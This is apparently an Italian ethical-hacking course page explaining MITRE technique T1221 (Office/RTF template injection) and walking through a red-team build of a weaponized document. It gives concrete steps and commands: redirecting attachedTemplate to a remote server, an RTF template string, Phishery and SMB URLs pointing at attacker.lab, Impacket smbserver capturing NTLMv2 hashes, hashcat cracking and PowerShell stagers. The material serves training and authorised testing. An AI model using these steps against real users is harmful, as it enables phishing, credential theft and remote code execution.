Iniezione di Template: Template Injection (T1221)

La tecnica Template Injection sfrutta una funzionalità legittima dei documenti Office e RTF: la possibilità di caricare template esterni tramite riferimenti URL. Un attaccante modifica un file .docx, .dotm o .rtf per iniettare un puntatore a una risorsa remota, che viene scaricata ed eseguita quando la vittima apre il documento.

Inquadrata in TA0005 (Defense Evasion), questa tecnica è particolarmente insidiosa perché il documento consegnato via phishing appare pulito ai controlli statici: non contiene macro VBA, script o payload immediati. La logica malevola risiede nel campo settings.xml di un OOXML o nel control word \\template* di un RTF, che punta a un server controllato dall'attaccante. Solo al momento dell'apertura il client Office effettua una richiesta HTTP/SMB verso l'infrastruttura remota, recuperando il template contenente macro, exploit o URL aggiuntivi.

Una variante rilevante è il Forced Authentication: inserendo un URL SMB o HTTPS che richiede credenziali, l'apertura del documento innesca un tentativo di autenticazione automatica, esponendo l'hash NTLM del client. Statisticamente la tecnica è documentata in 7 gruppi APT, 2 famiglie malware e 2 campagne tracciate da MITRE, con impiego trasversale su target governativi, difesa, aerospaziale e settore energetico.

In un esercizio red team, la costruzione di un documento con template injection segue tre fasi: preparazione dell'infrastruttura di hosting, weaponizzazione del documento, delivery via phishing.

Per la componente OOXML si parte da un .docx legittimo, che è di fatto un archivio ZIP. Estrai il contenuto con unzip documento.docx -d payload/, apri word/_rels/settings.xml.rels e modifica l'attributo Target della relazione di tipo attachedTemplate per puntare al tuo server: ad esempio Target="http://redteam.lab/template.dotm" TargetMode="External". Ricomprimi con zip -r weaponized.docx . mantenendo la struttura originale. Il file .dotm remoto ospitato sul server contiene la macro AutoOpen che scarica il secondo stadio.

Per la variante RTF, la tecnica è ancora più compatta: inserisci nel documento la stringa {\\template http://redteam.lab/payload.doc}* subito dopo l'header RTF. Word tenterà di caricare la risorsa all'apertura.

Per la simulazione del Forced Authentication in stile Dragonfly o DarkHydrus, il tool di riferimento è Phishery (open source, disponibile su GitHub) di Ryan Hanson, che genera automaticamente documenti Word con template injection puntati a un endpoint HTTPS con Basic Auth, catturando le credenziali NTLM o in chiaro. La sintassi tipica prevede:

phishery -u https://attacker.lab/doc.dotx -i template.docx -o output.docx

Per test SMB-based, sostituisci l'URL con \\attacker.lab\share\file e cattura gli hash NTLMv2 con Responder (open source) o Impacket smbserver.py (open source):

python3 smbserver.py -smb2support share /tmp/loot

Gli hash catturati si passano a Hashcat (open source) con mode 5600 per il cracking offline: hashcat -m 5600 hashes.txt rockyou.txt.

Per la fase di hosting del template malevolo, un semplice server Python (python3 -m http.server 80) è sufficiente in laboratorio; in scenari più realistici si usa Apache o Nginx con TLS via Let's Encrypt (gratuito) per aumentare la credibilità.

La catena si completa con l'esecuzione del payload di seconda fase: comunemente uno stager PowerShell generato con Sliver (open source), Havoc (open source) o Mythic (open source), evitando riferimenti a framework legacy dismessi. Ricorda di limitare l'infrastruttura al perimetro concordato nel Rules of Engagement e di ripulire i log del web server al termine dell'esercizio.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.